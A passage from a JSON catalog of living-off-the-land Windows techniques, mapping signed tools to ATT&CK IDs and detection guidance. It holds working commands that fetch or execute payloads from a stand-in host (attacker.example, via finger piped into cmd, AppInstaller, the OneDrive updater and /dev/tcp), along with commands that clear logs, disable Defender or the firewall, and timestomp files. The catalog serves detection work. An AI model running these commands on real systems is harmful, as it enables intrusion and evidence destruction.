   "usecase": "Download an arbitrary file with a native, signed Windows tool that is not certutil/bitsadmin.",
   "mitre": [
    "T1105"
   ],
   "privilege": "user",
   "detection": "desktopimgdownldr.exe with /lockscreenurl to a non-Microsoft host or fetching a non-image; SYSTEMROOT environment override before the run; writes/deletes at HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PersonalizationCSP\\LockScreenImageUrl.",
   "references": [
    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Desktopimgdownldr.yml",
    "https://www.sentinelone.com/labs/living-off-windows-land-a-new-native-file-downldr/"
   ],
   "verifyNote": "LOLBAS Desktopimgdownldr.yml quotes `set \"SYSTEMROOT=...\" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL}` (T1105); SentinelOne write-up is the original research source."
  },
  {
   "toolName": "AppInstaller.exe",
   "toolId": "appinstaller",
   "platform": [
    "Windows"
   ],
   "capability": [
    "File Download"
   ],
   "nativeCategory": [
    "Download"
   ],
   "command": "start ms-appinstaller://?source=https://attacker.example/x.msix",
   "description": "The ms-appinstaller:// URI is handled by the signed App Installer (AppInstaller.exe), which reaches out to the source URL, attempts to load/install the package, and caches the fetched file in INetCache. The download rides a trusted protocol handler with no obvious downloader on the command line; the same handler underpinned real-world MotW-bypass delivery campaigns.",
   "usecase": "Download a remote file/package through a trusted URI handler rather than an explicit HTTP client.",
   "mitre": [
    "T1105"
   ],
   "privilege": "user",
   "detection": "AppInstaller.exe making outbound connections to non-Microsoft hosts; ms-appinstaller:// URI invocations (e.g. via explorer/start); files appearing in INetCache attributed to AppInstaller.exe; MSIX/APPX pulled from untrusted domains.",
   "references": [
    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/AppInstaller.yml",
    "https://attack.mitre.org/techniques/T1105/"
   ],
   "verifyNote": "LOLBAS AppInstaller.yml quotes `start ms-appinstaller://?source={REMOTEURL:.exe}` and notes the file is 'saved in INetCache' (T1105); match. ms-appinstaller MotW-bypass abuse is publicly documented (Microsoft disabled the handler in 2023)."
  },
  {
   "toolName": "OneDriveStandaloneUpdater.exe",
   "toolId": "onedrivestandaloneupdater",
   "platform": [
    "Windows"
   ],
   "capability": [
    "File Download",
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Download"
   ],
   "command": "reg add \"HKCU\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\" /v UpdateRingSettingURLFromOC /t REG_SZ /d https://attacker.example/x /f && OneDriveStandaloneUpdater.exe",
   "description": "The signed OneDrive updater downloads from the URL stored in the user-writable registry value HKCU\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\\UpdateRingSettingURLFromOC. Setting that value and launching the updater fetches an attacker-controlled file while the process command line stays completely benign.",
   "usecase": "Download a file from the internet with a signed updater and no anomalous command-line arguments.",
   "mitre": [
    "T1105"
   ],
   "privilege": "user",
   "detection": "writes to HKCU\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\\UpdateRingSettingURLFromOC; OneDriveStandaloneUpdater.exe connecting to hosts outside the official OneDrive/Office update CDNs.",
   "references": [
    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/OneDriveStandaloneUpdater.yml",
    "https://attack.mitre.org/techniques/T1105/"
   ],
   "verifyNote": "LOLBAS OneDriveStandaloneUpdater.yml documents downloading from the URL in HKCU\\...\\UpdateOfficeConfig\\UpdateRingSettingURLFromOC (T1105); match (LOLBAS also notes ODSUUpdateXMLUrlFromOC/UpdateXMLUrlFromOC must be non-empty)."
  },
  {
   "toolName": "finger.exe",
   "toolId": "finger",
   "platform": [
    "Windows"
   ],
   "capability": [
    "File Download",
    "Execution"
   ],
   "nativeCategory": [
    "Download"
   ],
   "command": "finger user@attacker.example | more +2 | cmd",
   "description": "The built-in Finger client retrieves data from a remote Finger (TCP/79) server; piping the server's response through more and into cmd turns the response into executed commands, giving a combined download-and-execute (and C2) channel over an unusual port with a signed binary.",
   "usecase": "Retrieve and run attacker-supplied commands/payload over the rarely-monitored finger protocol.",
   "mitre": [
    "T1105"
   ],
   "privilege": "user",
   "detection": "finger.exe making outbound TCP/79 connections to external hosts; finger.exe piped into cmd.exe/powershell.exe/more; any use of finger.exe at all, which is rare in modern environments.",
   "references": [
    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Finger.yml",
    "https://attack.mitre.org/techniques/T1105/"
   ],
   "verifyNote": "LOLBAS Finger.yml quotes `finger user@example.host.com | more +2 | cmd` verbatim (T1105, Download); exact match."
  },
  {
   "toolName": "wsl.exe",
   "toolId": "wsl",
   "platform": [
    "Windows",
    "Linux"
   ],
   "capability": [
    "Execution",
    "File Download"
   ],
   "nativeCategory": [
    "Execute",
    "Download"
   ],
   "command": "wsl.exe --exec bash -c \"id > /mnt/c/Windows/Temp/x\"\nwsl.exe --exec bash -c 'cat < /dev/tcp/10.10.10.10/54 > /tmp/x'",
   "description": "wsl.exe (signed, present where WSL is installed) runs arbitrary Linux commands via --exec/-e (as root with -u root, no password), giving indirect command execution under a trusted binary. bash's /dev/tcp pulls files with no external tool. wsl.exe also resolves its install path from HKLM\\...\\Lxss\\MSI\\InstallLocation, so a planted wsl.exe there is executed instead of the legitimate one.",
   "usecase": "Execute payloads on the Linux side (evading Windows EDR), transfer files via /dev/tcp, or masquerade a payload as WSL.",
   "mitre": [
    "T1202",
    "T1105",
    "T1218"
   ],
   "privilege": "user",
   "detection": "wsl.exe with -e/--exec/-u root; wsl.exe/bash.exe spawning children outside System32; changes to HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lxss\\MSI\\InstallLocation; /dev/tcp usage inside WSL bash.",
   "references": [
    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OtherMSBinaries/Wsl.yml",
    "https://attack.mitre.org/techniques/T1202/"
   ],
   "verifyNote": "LOLBAS Wsl.yml documents `wsl.exe --exec bash -c \"{CMD}\"` (T1202), `wsl.exe --exec bash -c 'cat < /dev/tcp/.../.. > binary'` (T1105), and the HKLM\\...\\Lxss\\MSI\\InstallLocation lookup; match."
  },
  {
   "toolName": "winget.exe",
   "toolId": "winget",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Execution",
    "AWL / Policy Bypass"
   ],
   "nativeCategory": [
    "Execute",
    "AWL Bypass"
   ],
   "command": "winget.exe install --manifest C:\\Windows\\Temp\\x.yml\nwinget.exe install --accept-package-agreements -s msstore {StoreID}",
   "description": "The Windows Package Manager installs from a local manifest (--manifest) whose Installer URL points at an arbitrary file that is then downloaded and executed, or installs a Microsoft Store package by ID even when the Store app is blocked and AppLocker is active. Either path fetches and runs code through a signed installer, bypassing application-control policy.",
   "usecase": "Download-and-execute an arbitrary installer, or pull software from the Store, past AppLocker/Store restrictions.",
   "mitre": [
    "T1105",
    "T1218"
   ],
   "privilege": "user",
   "detection": "winget.exe install --manifest referencing a local/temp .yml; winget pulling installers from non-standard hosts; msstore installs where the Store app is policy-blocked; winget-spawned installer processes writing to unusual locations.",
   "references": [
    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Winget.yml",
    "https://learn.microsoft.com/en-us/windows/package-manager/winget/install"
   ],
   "verifyNote": "LOLBAS Winget.yml quotes `winget.exe install --manifest {PATH:.yml}` (download+execute, T1105) and `winget.exe install --accept-package-agreements -s msstore {name/ID}` (AWL Bypass, installs even if Store app blocked); match."
  },
  {
   "toolName": "devtunnel.exe",
   "toolId": "devtunnel",
   "platform": [
    "Windows",
    "Linux",
    "macOS"
   ],
   "capability": [
    "File Upload",
    "File Download"
   ],
   "nativeCategory": [
    "Download",
    "Upload",
    "Exfiltration"
   ],
   "command": "devtunnel.exe host -p 8080",
   "description": "The Microsoft Dev Tunnels agent (signed) exposes a local port/service on a Microsoft-hosted public *.devtunnels.ms URL. This creates an ingress/egress channel that can be used to reach internal services, stage tooling, or exfiltrate data, with the traffic riding trusted Microsoft tunneling infrastructure.",
   "usecase": "Establish a trusted-domain tunnel for data transfer, exfiltration, or exposing an internal service to the internet.",
   "mitre": [
    "T1105",
    "T1572",
    "T1567"
   ],
   "privilege": "user",
   "detection": "devtunnel.exe execution and persistent connections to *.devtunnels.ms / global.rel.tunnels.api.visualstudio.com; internal services becoming reachable via a Microsoft tunnel domain; unexpected long-lived outbound sessions from devtunnel.exe.",
   "references": [
    "https://lolbas-project.github.io/lolbas/OtherMSBinaries/devtunnels/",
    "https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/cli-commands"
   ],
   "verifyNote": "Microsoft Learn CLI reference documents `devtunnel host -p 3000` exposing a local port at a public *.devtunnels.ms URL; LOLBAS entry exists at OtherMSBinaries/devtunnels/ (reference URL corrected from the 404ing raw-YAML path to the working LOLBAS site page + MS Learn)."
  },
  {
   "toolName": "Teams.exe",
   "toolId": "teams",
   "platform": [
    "Windows",
    "macOS",
    "Linux"
   ],
   "capability": [
    "Execution",
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Execute"
   ],
   "command": "Teams.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\Temp\\x.exe &&\"",
   "description": "Classic Microsoft Teams is an Electron/Chromium app, and the Chromium --gpu-launcher switch runs an arbitrary command as a child of the signed Teams binary (system binary proxy execution / parent masquerading). The same abuse applies to other Electron apps, and Teams can also be made to run planted JavaScript from its app.asar/package.json.",
   "usecase": "Proxy-execute a command under a trusted, signed Electron binary to blend with normal process trees.",
   "mitre": [
    "T1218.015"
   ],
   "privilege": "user",
   "detection": "Teams.exe (or any Electron app) launched with --gpu-launcher/--disable-gpu-sandbox/--utility-cmd-prefix; Teams.exe spawning cmd.exe/powershell.exe; unexpected writes to app.asar or package.json under %LOCALAPPDATA%\\Microsoft\\Teams.",
   "references": [
    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OtherMSBinaries/Teams.yml",
    "https://attack.mitre.org/techniques/T1218/015/"
   ],
   "verifyNote": "LOLBAS Teams.yml quotes `teams.exe --disable-gpu-sandbox --gpu-launcher=\"{CMD} &&\"` and the app.asar/package.json JavaScript variants, all MitreID T1218.015 (Electron Applications); match."
  },
  {
   "toolName": "diskshadow.exe",
   "toolId": "diskshadow",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Execution",
    "Credential Access"
   ],
   "nativeCategory": [
    "Execute",
    "Dump"
   ],
   "command": "diskshadow.exe /s C:\\Windows\\Temp\\x.txt",
   "description": "diskshadow's script mode (/s) runs each line of a text script; an exec line spawns a child process under a signed binary (indirect execution), while its VSS commands (set/create/expose) snapshot a volume so locked files like NTDS.dit or the SAM/SYSTEM hives can be copied out of the shadow copy. One signed tool covers both proxy execution and credential-store theft.",
   "usecase": "Proxy-execute a command and/or snapshot the volume to copy NTDS.dit and registry hives for offline credential extraction.",
   "mitre": [
    "T1202",
    "T1003.003"
   ],
   "privilege": "admin",
   "detection": "diskshadow.exe /s with a script file; diskshadow creating/exposing shadow copies; child processes spawned by diskshadow.exe; reads of NTDS.dit or SAM/SYSTEM via a shadow-copy path shortly after a snapshot.",
   "references": [
    "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Diskshadow.yml",
    "https://attack.mitre.org/techniques/T1003/003/"
   ],
   "verifyNote": "LOLBAS Diskshadow.yml documents `diskshadow.exe /s {PATH:.txt}` (T1003.003, NTDS exfil via VSS) and `exec {PATH:.exe}` child-process spawn (T1202); FIX: removed T1006 — not in the LOLBAS mapping and diskshadow's VSS snapshot is squarely T1003.003, so only T1202+T1003.003 are retained."
  },
  {
   "toolName": "wevtutil.exe",
   "toolId": "wevtutil",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Indicator Removal",
    "Clear Windows Event Logs"
   ],
   "command": "wevtutil cl Security",
   "description": "The built-in event log utility clears (empties) a named Windows Event Log channel with the cl / clear-log verb, destroying recorded evidence. An optional /bu: switch backs the log up first; adversaries omit it.",
   "usecase": "Erase Security/System/Application logs after intrusion activity to remove indicators of compromise.",
   "mitre": [
    "T1070.001"
   ],
   "privilege": "admin",
   "detection": "Alert on Security Event ID 1102 (audit log cleared) and System 104 (log file cleared). Log process creation (Sysmon 1 / Security 4688) for wevtutil.exe with 'cl' or 'clear-log' arguments; forward events to a SIEM so cleared local copies still survive centrally.",
   "references": [
    "https://attack.mitre.org/techniques/T1070/001/",
    "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil"
   ],
   "verifyNote": "MS Learn wevtutil doc confirms 'cl|clear-log <Logname> [/bu:<Backup>]' clears a log (docs example: wevtutil cl Application /bu:...); maps to ATT&CK T1070.001. No change."
  },
  {
   "toolName": "wevtutil.exe",
   "toolId": "wevtutil",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Impair Defenses",
    "Disable Windows Event Logging"
   ],
   "command": "wevtutil sl Security /e:false",
   "description": "The set-log (sl) verb with /e:false disables a Windows Event Log channel so future events for that channel are no longer written, blinding defenders without clearing existing entries.",
   "usecase": "Disable Security or PowerShell operational channels before running noisy tooling so nothing is recorded.",
   "mitre": [
    "T1562.002",
    "T1070.001"
   ],
   "privilege": "admin",
   "detection": "Monitor process creation (Sysmon 1 / 4688) for wevtutil.exe with 'sl' plus '/e:false'. Watch Event ID 1100/1102/4719 (audit policy or log service state change) and alert on any channel being disabled, especially Security, System, and Microsoft-Windows-PowerShell/Operational.",
   "references": [
    "https://attack.mitre.org/techniques/T1562/002/",
    "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil"
   ],
   "verifyNote": "MS Learn wevtutil doc confirms 'sl|set-log' with '/e:<Enabled>' where Enabled is true or false ('Enables or disables a log'); primary ATT&CK ID T1562.002 is accurate (T1070.001 is a related secondary tag). No change."
  },
  {
   "toolName": "Clear-EventLog",
   "toolId": "powershell",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Indicator Removal",
    "Clear Windows Event Logs"
   ],
   "command": "Clear-EventLog -LogName Security",
   "description": "The Windows PowerShell 5.1 Clear-EventLog cmdlet deletes all entries from a specified classic event log on a local or remote computer, an alternative to wevtutil for the same log-clearing effect.",
   "usecase": "Clear event logs from within an existing PowerShell session without spawning wevtutil.exe.",
   "mitre": [
    "T1070.001"
   ],
   "privilege": "admin",
   "detection": "Alert on Event ID 1102/104 as with any clear. Enable PowerShell Script Block Logging (4104) and Module Logging to capture the Clear-EventLog invocation; correlate with Sysmon 1 for powershell.exe. Sysmon's own channel typically survives a Security-log clear and preserves the trail.",
   "references": [
    "https://attack.mitre.org/techniques/T1070/001/",
    "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/clear-eventlog"
   ],
   "verifyNote": "MS Learn confirms Clear-EventLog 'deletes all of the entries from the specified event logs on the local computer or on remote computers' (classic-log cmdlet, requires Administrators); ATT&CK T1070.001. No change."
  },
  {
   "toolName": "Remove-EventLog",
   "toolId": "powershell",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Indicator Removal",
    "Clear Windows Event Logs"
   ],
   "command": "Remove-EventLog -LogName Security",
   "description": "The Windows PowerShell 5.1 Remove-EventLog cmdlet deletes a classic event log entirely and unregisters its event sources, which can suppress future logging for that log until it is recreated (often after reboot).",
   "usecase": "Delete and deregister a log so the intrusion leaves less evidence and future events are not captured.",
   "mitre": [
    "T1070.001"
   ],
   "privilege": "admin",
   "detection": "Capture the cmdlet via Script Block Logging (4104) and Sysmon 1 for powershell.exe. Baseline the expected set of registered event logs and alert when a standard log (Security, System, Application) is missing or its sources are deregistered.",
   "references": [
    "https://attack.mitre.org/techniques/T1070/001/",
    "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/remove-eventlog?view=powershell-5.1"
   ],
   "verifyNote": "MS Learn (PS 5.1) confirms Remove-EventLog 'deletes an event log file ... and unregisters all its event sources'; classic EventLog cmdlet (5.1 only, not PS7). No change."
  },
  {
   "toolName": "auditpol.exe",
   "toolId": "auditpol",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Impair Defenses",
    "Disable Windows Event Logging"
   ],
   "command": "auditpol /set /category:\"System\" /success:disable /failure:disable",
   "description": "The built-in audit policy tool sets a subcategory or category to stop generating success/failure audit events; auditpol /clear /y wipes the entire advanced audit policy. Either action suppresses the events defenders rely on.",
   "usecase": "Turn off auditing for noisy categories (e.g. process creation, logon) before operating, so key telemetry is never written.",
   "mitre": [
    "T1562.002"
   ],
   "privilege": "admin",
   "detection": "Alert on Event ID 4719 (System audit policy was changed) and 4907. Log process creation for auditpol.exe with '/set ... /success:disable', '/failure:disable', '/clear', or '/remove'. Periodically compare live 'auditpol /get /category:*' output against a known-good baseline.",
   "references": [
    "https://attack.mitre.org/techniques/T1562/002/",
    "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol"
   ],
   "verifyNote": "MS Learn auditpol-set confirms '/set ... /category:<name> /success:<enable|disable> /failure:<enable|disable>' and auditpol '/clear'/'/remove' sub-commands; ATT&CK T1562.002. No change."
  },
  {
   "toolName": "fsutil.exe",
   "toolId": "fsutil",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Indicator Removal",
    "Delete Volume USN Journal"
   ],
   "command": "fsutil usn deletejournal /d C:",
   "description": "The fsutil usn deletejournal subcommand with /d disables the NTFS Update Sequence Number (USN) change journal on a volume and deletes its records, destroying a key forensic timeline of file creation, deletion, and modification.",
   "usecase": "Wipe the NTFS change journal to hamper forensic reconstruction of file-level activity on a compromised host.",
   "mitre": [
    "T1070"
   ],
   "privilege": "admin",
   "detection": "Log process creation (Sysmon 1 / 4688) for fsutil.exe with 'usn' and 'deletejournal'. During forensics, a reset USN journal ID or an abrupt discontinuity/gap in journal records indicates deletion; ship file-audit and journal data off-host in near real time.",
   "references": [
    "https://attack.mitre.org/techniques/T1070/",
    "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn"
   ],
   "verifyNote": "MS Learn fsutil-usn confirms 'fsutil usn deletejournal {/d|/n} <volumepath>' with '/d' disabling the active USN change journal (docs example: fsutil usn deletejournal /d c:); ATT&CK T1070. No change."
  },
  {
   "toolName": "attrib.exe",
   "toolId": "attrib",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Hide Artifacts",
    "Hidden Files and Directories"
   ],
   "command": "attrib +h +s C:\\Windows\\Temp\\x\\payload.exe",
   "description": "The built-in attrib command sets the Hidden (+h) and System (+s) file attributes so a file is concealed from default Explorer and 'dir' views, a simple way to hide dropped artifacts on disk.",
   "usecase": "Conceal a dropped executable or staging file from casual inspection of a directory.",
   "mitre": [
    "T1564.001"
   ],
   "privilege": "user",
   "detection": "Log process creation (Sysmon 1 / 4688) for attrib.exe with '+h' and especially '+s' on files in user-writable paths (Temp, ProgramData, AppData). Hunt the file system for files carrying both Hidden and System attributes in atypical locations.",
   "references": [
    "https://attack.mitre.org/techniques/T1564/001/",
    "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/attrib"
   ],
   "verifyNote": "MS Learn attrib doc confirms '{+|-}h' sets the Hidden and '{+|-}s' sets the System file attribute; ATT&CK T1564.001. No change."
  },
  {
   "toolName": "PowerShell",
   "toolId": "powershell",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Indicator Removal",
    "Timestomp"
   ],
   "command": "$(Get-Item C:\\Windows\\Temp\\x\\payload.exe).LastWriteTime = '01/01/2016 00:00:00'; [IO.File]::SetCreationTime('C:\\Windows\\Temp\\x\\payload.exe','01/01/2016')",
   "description": "PowerShell can rewrite a file's $STANDARD_INFORMATION timestamps via the .CreationTime/.LastWriteTime/.LastAccessTime properties of a FileInfo object or the [System.IO.File]::SetCreationTime/SetLastWriteTime .NET methods, blending a malicious file in with legitimate neighbors (timestomping).",
   "usecase": "Backdate or match a dropped file's MACE timestamps to defeat timeline analysis and 'recently modified' triage.",
   "mitre": [
    "T1070.006"
   ],
   "privilege": "user",
   "detection": "Sysmon Event ID 2 (FileCreateTime changed) flags user-mode $SI edits. Capture Script Block Logging (4104) for '.CreationTime =', '.LastWriteTime =', '[IO.File]::SetCreationTime', etc. In MFT forensics, a $STANDARD_INFORMATION timestamp earlier than the matching $FILE_NAME timestamp is a classic timestomp signature.",
   "references": [
    "https://attack.mitre.org/techniques/T1070/006/",
    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md"
   ],
   "verifyNote": "MS Learn .NET docs confirm System.IO.File.SetCreationTime/SetLastWriteTime and the FileInfo LastWriteTime/CreationTime settable properties; Atomic Red Team T1070.006 documents PowerShell timestomp; ATT&CK T1070.006. No change."
  },
  {
   "toolName": "Add-MpPreference",
   "toolId": "powershell",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Impair Defenses",
    "Disable or Modify Tools"
   ],
   "command": "Add-MpPreference -ExclusionPath 'C:\\Windows\\Temp\\x'\nAdd-MpPreference -ExclusionProcess 'C:\\Windows\\Temp\\x\\payload.exe'\nAdd-MpPreference -ExclusionExtension 'exe'",
   "description": "The Defender module's Add-MpPreference cmdlet adds entries to the Microsoft Defender Antivirus exclusion list so matching items are no longer scanned in real time or on schedule: -ExclusionPath excludes a folder/file, -ExclusionProcess excludes any files opened by a named process, and -ExclusionExtension excludes an entire file type. Any of the three carves a blind spot for staging and executing tooling.",
   "usecase": "Carve a Defender blind spot by excluding a staging path, an attacker process, or a whole extension before dropping tooling.",
   "mitre": [
    "T1562.001"
   ],
   "privilege": "admin",
   "detection": "Monitor Defender Operational Event ID 5007 (configuration changed) and registry writes under HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\{Paths|Processes|Extensions} (Sysmon 13). Capture Add-MpPreference via Script Block Logging (4104) and alert on any new exclusion, especially paths/processes in Temp/AppData/ProgramData and extension-wide exclusions (rarely legitimate on endpoints). Enable Tamper Protection and centrally alert on exclusion drift.",
   "references": [
    "https://attack.mitre.org/techniques/T1562/001/",
    "https://learn.microsoft.com/en-us/powershell/module/defender/add-mppreference"
   ],
   "verifyNote": "MERGED from three near-duplicate Add-MpPreference exclusion entries (same toolId + same command intent — adding a Defender AV exclusion, all T1562.001). MS Learn confirms -ExclusionPath ('disables Windows Defender scheduled and real-time scanning for files in this folder'), -ExclusionProcess ('excludes any files opened by the processes that you specify'), and -ExclusionExtension ('exclude from scheduled, custom, and real-time scanning'); the three write to the Exclusions Paths/Processes/Extensions registry subkeys respectively. Technique mapping unchanged."
  },
  {
   "toolName": "Set-MpPreference",
   "toolId": "powershell",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Impair Defenses",
    "Disable or Modify Tools"
   ],
   "command": "Set-MpPreference -DisableRealtimeMonitoring $true",
   "description": "The Defender module's Set-MpPreference cmdlet with -DisableRealtimeMonitoring $true turns off Microsoft Defender Antivirus real-time protection, stopping on-access scanning of files and processes host-wide.",
   "usecase": "Disable real-time protection so subsequent malicious files execute without being scanned or quarantined.",
   "mitre": [
    "T1562.001"
   ],
   "privilege": "admin",
   "detection": "Alert on Defender Operational Event ID 5001 (real-time protection disabled) and 5007/5010. Capture 'Set-MpPreference -DisableRealtimeMonitoring' and related '-Disable*' toggles via Script Block Logging (4104). Enable Tamper Protection, which blocks this change and logs the attempt.",
   "references": [
    "https://attack.mitre.org/techniques/T1562/001/",
    "https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference"
   ],
   "verifyNote": "MS Learn confirms Set-MpPreference -DisableRealtimeMonitoring (Boolean) governs real-time protection; Defender Operational Event ID 5001 (real-time protection disabled) / 5007 (config changed) confirmed via Microsoft community/Sentinel guidance; ATT&CK T1562.001. No change."
  },
  {
   "toolName": "reg.exe",
   "toolId": "reg",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Impair Defenses",
    "Modify Registry"
   ],
   "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" /v DisableAntiSpyware /t REG_DWORD /d 1 /f",
   "description": "The built-in reg.exe writes the legacy DisableAntiSpyware policy value to turn off Microsoft Defender Antivirus via the registry. Modern Windows blocks or ignores this value under Tamper Protection, but the write attempt itself is a well-known evasion indicator.",
   "usecase": "Attempt to disable Defender through a policy registry key rather than the Defender cmdlets.",
   "mitre": [
    "T1562.001",
    "T1112"
   ],
   "privilege": "admin",
   "detection": "Monitor registry writes to HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware (Sysmon 13) and process creation for reg.exe targeting that key. Tamper Protection generates Defender Event ID 5007 on the blocked attempt; treat any DisableAntiSpyware write as malicious on managed endpoints.",
   "references": [
    "https://attack.mitre.org/techniques/T1562/001/",
    "https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/security-malware-windows-defender-disableantispyware"
   ],
   "verifyNote": "MS Learn DisableAntiSpyware doc confirms the value disables Defender AV and that it is now ignored/removed on modern Windows and protected by Tamper Protection (platform 4.18.2108.4+) - matching the entry's caveat; reg.exe add /v /t REG_DWORD /d /f is standard; ATT&CK T1562.001 + T1112. No change."
  },
  {
   "toolName": "netsh.exe",
   "toolId": "netsh",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Impair Defenses",
    "Disable or Modify System Firewall"
   ],
   "command": "netsh advfirewall set allprofiles state off",
   "description": "The built-in netsh advfirewall context sets the state of all Windows Defender Firewall profiles (Domain, Private, Public) to off, removing host-based network controls that would otherwise limit inbound/outbound activity.",
   "usecase": "Turn off the host firewall to allow attacker tooling, C2, or lateral-movement traffic unimpeded.",
   "mitre": [
    "T1562.004"
   ],
   "privilege": "admin",
   "detection": "Log process creation (Sysmon 1 / 4688) for netsh.exe with 'advfirewall' and 'state off'. Alert on Windows Firewall Event ID 2003 (a firewall setting was changed) and 2009. Also watch sc.exe/net.exe targeting the MpsSvc service. Enforce firewall state centrally via GPO/Intune and alert on drift.",
   "references": [
    "https://attack.mitre.org/techniques/T1562/004/",
    "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-advfirewall"
   ],
   "verifyNote": "MS Learn netsh-advfirewall doc confirms 'netsh advfirewall set [allprofiles|...] state <on|off|notconfigured>' where off 'Disables the firewall'; Windows Firewall Event ID 2003 (profile setting changed) confirmed; ATT&CK T1562.004. No change."
  },
  {
   "toolName": "BYOVD (vulnerable driver)",
   "toolId": "byovd",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Defense Evasion",
    "Privilege Escalation"
   ],
   "nativeCategory": [
    "Impair Defenses",
    "Bring Your Own Vulnerable Driver"
   ],
   "command": "# BYOVD is documented here as a NAMED concept only. No exploitation steps are provided. Reference the LOLDrivers catalog for known-vulnerable signed drivers and the vendor blocklist for defensive coverage.",
   "description": "Bring Your Own Vulnerable Driver (BYOVD) is a named, publicly-documented class of technique in which an adversary who already holds local administrator rights loads a legitimately signed but known-vulnerable kernel driver, then abuses that driver's flaw to gain kernel-mode code execution and disable or blind EDR/AV. This entry catalogs the concept and detection surface only; it contains no driver-exploitation procedure.",
   "usecase": "Understand and detect kernel-level tampering where a signed vulnerable driver is used to kill or blind security tooling.",
   "mitre": [
    "T1068",
    "T1562.001"
   ],
   "privilege": "admin",
   "detection": "Monitor Sysmon Event ID 6 (driver loaded) and Security 4697/System 7045 (new kernel-mode service) for drivers matching LOLDrivers hashes/signatures or loading from user-writable paths. Enforce the Microsoft Vulnerable Driver Blocklist and WDAC/HVCI to block known-bad drivers. Alert on unexpected drivers signed by unrelated third parties on servers/workstations.",
   "references": [
    "https://attack.mitre.org/techniques/T1068/",
    "https://www.loldrivers.io/"
   ],
   "verifyNote": "Concept-only (no exploit steps); LOLDrivers.io is the canonical public catalog of known-vulnerable signed drivers and ATT&CK T1068 (Exploitation for Priv-Esc) + T1562.001 map to BYOVD; Sysmon 6 / Security 4697 / System 7045 detection is accurate. No change."
  },
  {
   "toolName": "Clear-History",
   "toolId": "powershell",
   "platform": [
    "Windows"
   ],
   "capability": [
    "Defense Evasion"
   ],
   "nativeCategory": [
    "Indicator Removal",
    "Clear Command History"
   ],
   "command": "Clear-History; Remove-Item (Get-PSReadlineOption).HistorySavePath",
   "description": "Clear-History flushes the current PowerShell session's in-memory history, while deleting the PSReadLine save path (ConsoleHost_history.txt) removes the persistent, cross-session command history; Set-PSReadLineOption -HistorySaveStyle SaveNothing disables future history writes. Together these hide the commands an operator ran.",
   "usecase": "Erase both session and persistent PowerShell command history to conceal executed commands.",
   "mitre": [
    "T1070.003"
   ],
   "privilege": "user",
   "detection": "Capture Script Block Logging (4104) for 'Clear-History', 'Remove-Item ...HistorySavePath', '(Get-PSReadlineOption).HistorySavePath', and 'Set-PSReadLineOption -HistorySaveStyle SaveNothing'. Alert when ConsoleHost_history.txt is deleted, emptied, or truncated (file-audit / Sysmon 23 file-delete). Prefer transcript logging and central forwarding, which survive local history deletion.",
   "references": [
    "https://attack.mitre.org/techniques/T1070/003/",
    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.003/T1070.003.md"
   ],
